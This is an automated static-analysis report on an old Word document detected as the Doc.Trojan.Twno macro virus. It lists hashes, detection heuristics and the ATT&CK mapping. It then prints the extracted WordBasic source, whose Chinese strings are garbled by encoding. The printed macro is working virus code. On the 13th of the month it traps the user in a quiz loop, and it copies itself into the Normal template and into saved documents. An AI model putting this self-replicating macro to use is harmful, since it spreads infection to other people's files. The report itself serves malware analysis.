Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 4adf0b011405eab0…

MALICIOUS

Office (OLE)

40.5 KB Created: 1998-01-15 08:48:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 34e39baff217115f7b92b36d68dcfd22 SHA-1: 5ec36855392a62ed68ea7efcc643451f1cab5d07 SHA-256: 4adf0b011405eab0125c4c70dc8b6ea72b6abffc60e5d1c35ba96ec33a7395ff
240 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The file contains legacy WordBasic macros, specifically triggering AutoOpen and Auto_Close functions, which are commonly used to execute malicious code upon document opening or closing. ClamAV detections (Doc.Trojan.Twno-1 and Doc.Trojan.Twno-3) confirm its malicious nature. The macro attempts to display a user-facing prompt, likely as a distraction or part of a social engineering lure, while executing its payload.

Heuristics 5

  • ClamAV: Doc.Trojan.Twno-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Twno-1
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Auto_Close macro high OLE_VBA_AUTOCLOSE
    Auto_Close macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 11788 bytes
SHA-256: 7b40b0a7961b3e626fc838d184c6cc8d70bb5541c99897f4a33573b9c19bebe0
Detection
ClamAV: Doc.Trojan.Twno-3
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "AutoOpen"

Dim nm__()
Public Sub MAIN()
ReDim nm__(4)
Dim test
Dim con
Dim tog$
Dim i
Dim ans$
Dim j
Dim nor
Dim kk
Dim t
Dim file$
Dim filem$
Dim nor1
Dim kkk
Dim tt
WordBasic.DisableInput 1
If WordBasic.Day(WordBasic.Now()) = 13 Then
try:
On Error GoTo -1: On Error GoTo 0
On Error GoTo -1: On Error GoTo try
test = -1
con = 1
tog$ = ""
i = 0

        While test = -1

            For i = 0 To 4
            nm__(i) = WordBasic.Int(Rnd() * 10000)
            con = (con * nm__(i))
            If i = 4 Then
            tog$ = tog$ + Str(nm__(4)) + " =?"
            GoTo beg
            End If
            tog$ = tog$ + Str(nm__(i)) + " *"
            Next i
beg:
            WordBasic.Beep
            ans$ = WordBasic.[InputBox$]("､ｵ､ﾑｬO " + WordBasic.[Date$]() + " ,ｸAｪｱ､@ｭﾓ､ﾟｺ篁Cﾀｸ" + Chr(13) + _
"ｭYｧAｵｪｿ�,･uｦnｱｵｨ�ｾ_ｾﾙｱﾐｨ|.............." + Chr(13) + _
tog$, "･xﾆW NO.1 Macro Virus")
        If WordBasic.[RTrim$](WordBasic.[LTrim$](ans$)) = WordBasic.[LTrim$](Str(con)) Then
            WordBasic.MsgBox "ｮ･ｶPｧAｵｪｹ�､F,ｫTｩwｴNｧiｶDｧAｷQｪｾｹDｪｺ....", _
                    "･xﾆW NO.1 Macro Virus"
            WordBasic.FileNewDefault
            WordBasic.CenterPara
            WordBasic.FormatFont Font:="ｲﾓｩ愰�", Points:=16, Bold:=1, Underline:=1"
            WordBasic.Beep
            WordBasic.Insert "ｦﾗ･ｨｶｰｯfｬr｡H"
            WordBasic.InsertPara
            WordBasic.Beep
            WordBasic.Insert "ｵｪｮﾗ:"
            WordBasic.Italic 1
            WordBasic.Insert "ｧﾚｴNｬO....."
            WordBasic.InsertPara
            WordBasic.InsertPara
            WordBasic.Italic 0
            WordBasic.FormatFont Font:="ｲﾓｩ愰�", Points:=16, Bold:=1, Underline:=1"
            WordBasic.Beep
            WordBasic.Insert "ｦpｦwｨｾ･ｨｶｰｯfｬr｡H"
            WordBasic.InsertPara
            WordBasic.Beep
            WordBasic.Insert "ｵｪｮﾗ:"
            WordBasic.Italic 1
            WordBasic.Insert "､｣ｭnｬﾝｧﾚ....."
            GoTo exit_
            Else
            For j = 1 To 20
            WordBasic.Beep
            WordBasic.FileNewDefault
            Next j
            WordBasic.CenterPara
            WordBasic.FormatFont Font:="ｲﾓｩ愰�", Points:=16, Bold:=1, Underline:=1"
            WordBasic.Insert "･ｨｶｰｯfｬr"
            GoTo try
            End If

        Wend
            End If

nor = WordBasic.CountMacros(0)
If nor > 0 Then
    For kk = 1 To nor
        If WordBasic.[MacroName$](kk, 0) = "AutoOpen" Then
        t = 1
        End If
        Next kk
        
End If

file$ = WordBasic.[FileName$]()
filem$ = file$ + ":AutoOpen"
If t <> 1 Then
    WordBasic.MacroCopy filem$, "AutoOpen"
    WordBasic.MacroCopy filem$, "AutoNew"
    WordBasic.MacroCopy filem$, "AutoClose"
End If

nor1 = WordBasic.CountMacros(1)
If nor1 > 0 Then
    For kkk = 1 To nor1
        If WordBasic.[MacroName$](kkk, 1) = "AutoOpen" Then
        tt = 1
        End If
        Next kkk
        
End If

If tt <> 1 Then
    WordBasic.FileSaveAs Format:=1
    WordBasic.MacroCopy "AutoOpen", filem$
End If

    

exit_:
End Sub


' Processing file: /opt/analyzer/scan_staging/4d46f203dfc34a9182d4419183939963.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 965 bytes
' Macros/VBA/AutoOpen - 6068 bytes
' Line #0:
' Line #1:
' 	Dim 
' 	VarDefn nm__
' Line #2:
' 	FuncDefn (Public Sub MAIN())
' Line #3:
' 	OptionBase 
' 	LitDI2 0x0004 
' 	Redim nm__ 0x0001 (As Variant)
' Line #4:
' 	Dim 
' 	VarDefn test
' Line #5:
' 	Dim 
' 	VarDefn con
' Line #6:
' 	Dim 
' 	VarDefn tog
' Line #7:
' 	Dim 
' 	VarDefn i
' Line #8:
' 	Dim 
' 	VarDefn ans
' Line #9:
' 	Dim 
' 	VarDefn j
' Line #10:
' 	Dim 
' 	VarDefn 
... (truncated)

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